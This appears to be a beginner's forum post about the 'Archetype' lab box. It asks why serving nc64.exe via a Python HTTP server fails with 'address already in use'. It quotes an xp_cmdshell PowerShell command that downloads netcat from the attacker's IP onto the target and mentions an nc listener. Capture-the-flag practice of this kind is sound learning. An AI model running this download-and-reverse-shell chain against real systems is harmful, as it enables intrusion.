Starting point - ARCHETYPE. "simple http server"

please excuse my ignorance. i am a COMPLETE NOOB…

i have followed the archetype write up to page 10. i downloaded nc64.exe to my home directory and enter the command given { sudo python3 -m http.server 80 }.

but i get and error that states. " OSError: [Errno 98] Address already in use "

i have tried another port number ( 446 , dont know why that number just trying something ) and it opens. start a nc listener on port 443 as the walkthough says.

but when i get to the point to upload the .exe to the target;
( xp_cmdshell “powershell -c cd C:\Users\sql_svc\Downloads; wget http://{my_ip}/nc64.exe -outfile nc64.exe” )
it doesnt work.